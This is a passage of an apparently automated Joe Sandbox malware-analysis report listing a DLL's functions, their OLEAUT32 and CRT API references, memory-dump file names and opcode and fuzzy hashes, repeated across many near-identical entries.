SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: baaf95ec3722bc6aa900360c7d1a69234a4b33ea703c6278f3474275c04034ff
Instruction ID: baaee5cc51f08177019295a53ce79c7eb9d161dc168d9cfe2f35ee686b57f133
Opcode Fuzzy Hash: baaf95ec3722bc6aa900360c7d1a69234a4b33ea703c6278f3474275c04034ff
Instruction Fuzzy Hash: 99313970E016199FEB00CFA8CD80F6EB7FAAF89210F608696E519E7255CB75E941CF50

Function 6D028F83 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b62d28c31f3ad2e1328d2aa32b39386efdb9b4d3bfea488bc891bcb2eb3b6b73
Instruction ID: 73b3dd4bc63c2712a53899147bf1177d842f8c88c82b84c0fdc3c65a0a743ce4
Opcode Fuzzy Hash: b62d28c31f3ad2e1328d2aa32b39386efdb9b4d3bfea488bc891bcb2eb3b6b73
Instruction Fuzzy Hash: 96312770E016099FEB00DFA9CC80F6EB7FAAF89210F60858AE519E7251CB75ED418F50

Function 6D028BDD Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: fa8eb19020fa8fa827918e6b3c57201c7ac2651f0ad79109da24107518f1c9b9
Instruction ID: 68de827ab1a57d552f69dc5299a08e21c647ebdcbe94de75f4acbbf088ddcb22
Opcode Fuzzy Hash: fa8eb19020fa8fa827918e6b3c57201c7ac2651f0ad79109da24107518f1c9b9
Instruction Fuzzy Hash: 13313974E016099FEB10DF68CC80F6EB7FAAF89210F60858AE519E7255CB75E941CF50

Function 6D0205DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c053a5bf3146faa44cbb865e1cd055a213cea6be0a031b7b3012cdf2d688a725
Instruction ID: e289176af79469cb5f555f617621bc8f64d34c1300c869da222c7e553981afb9
Opcode Fuzzy Hash: c053a5bf3146faa44cbb865e1cd055a213cea6be0a031b7b3012cdf2d688a725
Instruction Fuzzy Hash: B9314B70E016199FEB10CFA9CD80B6EB7FAAF89200F20858AE518EB251D771DA40CF50

Function 6D0204D3 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: b62d28c31f3ad2e1328d2aa32b39386efdb9b4d3bfea488bc891bcb2eb3b6b73
Instruction ID: 043cc1a4df7189c936b672f61cd62eee917d10cfd695ba7186c6bde9fd00d94a
Opcode Fuzzy Hash: b62d28c31f3ad2e1328d2aa32b39386efdb9b4d3bfea488bc891bcb2eb3b6b73
Instruction Fuzzy Hash: BD313C70E116199FDB10CFA9CD80B6EB7F9AF89300F608586E518EB251CB75DA418F50

Function 6D020668 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D0223B3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223C3
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223D6
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223E9
SafeArrayDestroy.OLEAUT32(?), ref: 6D0223FC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02240F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 4026d9119d739d8b37661477839c34a6c599b3e6db52b317be686f26508b0676
Instruction ID: 78225d97f64410b1daf482ada86b17729c11aea6474100d301135b2454eafd33
Opcode Fuzzy Hash: 4026d9119d739d8b37661477839c34a6c599b3e6db52b317be686f26508b0676
Instruction Fuzzy Hash: C3313E70E116199FDB10CFA9CD80B6EB7F9AF89300F60859AE518EB251CB71DA41CF50

Function 6D029118 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 4026d9119d739d8b37661477839c34a6c599b3e6db52b317be686f26508b0676
Instruction ID: dfe1822f6e12dc40fec7d7312b72fd0d431e3cfbd0a832c5db69d9e23a8b6492
Opcode Fuzzy Hash: 4026d9119d739d8b37661477839c34a6c599b3e6db52b317be686f26508b0676
Instruction Fuzzy Hash: B5314970E016099FEB00CF69CC80F6EB7F9AF89210F60859AE519E7251CB75E941CF50

Function 6D0291A9 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: dd0db5746f6a265b5dbedada8c8bc31ad62cee56b061d545268d9436674e231f
Instruction ID: 6ae69e309a028229d8c918921bcfde5664e880027cd096b334ef9282a8e3a654
Opcode Fuzzy Hash: dd0db5746f6a265b5dbedada8c8bc31ad62cee56b061d545268d9436674e231f
Instruction Fuzzy Hash: 01314870E016099FEB00CFA9CD80F6EB7FAAF89210F20858AE519E7251CB75E941CF50

Function 6D02908A Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: c053a5bf3146faa44cbb865e1cd055a213cea6be0a031b7b3012cdf2d688a725
Instruction ID: aeb68c3e2c077430e17ff1da57800e140ccfb2c719b90e554f504f8cd9dd81a7
Opcode Fuzzy Hash: c053a5bf3146faa44cbb865e1cd055a213cea6be0a031b7b3012cdf2d688a725
Instruction Fuzzy Hash: F7314870E016199FEB00CFA8CC80F6EB7FAAF89210F20858AE518E7251DB75E941CF50

Function 6D029237 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 98dc322c9365b7129cac3559b6f25e14a120a14eef896f4fb8c59f4ff174e993
Instruction ID: 8baf4f5f9da4ade22e6236041eb780b56e19faec68072a506d7b4a95cd74abb6
Opcode Fuzzy Hash: 98dc322c9365b7129cac3559b6f25e14a120a14eef896f4fb8c59f4ff174e993
Instruction Fuzzy Hash: 2B312770E016199FEB00DFA8CC80F6EB7FAAF89210F60858AE519E7251CB75E9418F50

Function 6D0292C5 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroySafe
String ID:
API String ID: 4225690600-0
Opcode ID: 16a75d97aed0fef88708f5aa9457d792e8cb1a7564698deb7386da263a801229
Instruction ID: a9c7c02e9e7e9707b44c5a3c1034b94351113621f4cc74786b2f446ec661bb1e
Opcode Fuzzy Hash: 16a75d97aed0fef88708f5aa9457d792e8cb1a7564698deb7386da263a801229
Instruction Fuzzy Hash: 3D312870E016199FEB00DBA8CC80F6EB7FAAF89210F208586E519E7251CB75E941CF50

Function 6D02C150 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02C180
SafeArrayPutElement.OLEAUT32(00000000,6D023749,?), ref: 6D02C1B8
VariantClear.OLEAUT32(?), ref: 6D02C1C4
VariantCopy.OLEAUT32(6D023749,?), ref: 6D02C21B
VariantClear.OLEAUT32(?), ref: 6D02C22F
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D02C23E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafeVariant$Clear$CopyCreateDestroyElementVector
String ID:
API String ID: 3979206172-0
Opcode ID: cc3e397e55a881c6f5d10454a59b8601dfefb7d7a1e08c33c81fe209c0ca6a9d
Instruction ID: 0d5853040ce633a852eccba580a4b440dfcbeb56478b2448cf0031e7741f6e51
Opcode Fuzzy Hash: cc3e397e55a881c6f5d10454a59b8601dfefb7d7a1e08c33c81fe209c0ca6a9d
Instruction Fuzzy Hash: D2314C75A04209AFDF00DFA8C895BAEBBB9EF5E301F108529E916D7350EB35D905CB60

Function 6D017370 Relevance: 9.1, APIs: 6, Instructions: 96COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

InitializeCriticalSection.KERNEL32(00000000,?,00000000,00000000,6D0811FD,000000FF,?,6D018B80,00000000,?,00000000,?,6D018C13,?,?), ref: 6D017415
InitializeCriticalSection.KERNEL32(00000018,?,00000000,00000000,6D0811FD,000000FF,?,6D018B80,00000000,?,00000000,?,6D018C13,?,?), ref: 6D01741B
std::exception::exception.LIBCMT ref: 6D01743D
__CxxThrowException@8.LIBCMT ref: 6D017452
std::exception::exception.LIBCMT ref: 6D017461
__CxxThrowException@8.LIBCMT ref: 6D017476

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$CriticalInitializeSection$_malloc
String ID:
API String ID: 189561132-0
Opcode ID: 4bac63560436791c79a780c8b5e9acfd269aded0679b8e55b010d550d98d2ace
Instruction ID: b0c41b0b0f634ae2be9877483412308809388825198e4053a3b2743b3ed7aefe
Opcode Fuzzy Hash: 4bac63560436791c79a780c8b5e9acfd269aded0679b8e55b010d550d98d2ace
Instruction Fuzzy Hash: B3316AB29046449FDB10CF99D880A9AFBF4FF58310B45855EE95AD7B41E730E504CFA1

Function 6D028D72 Relevance: 9.1, APIs: 6, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6D02AEBF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
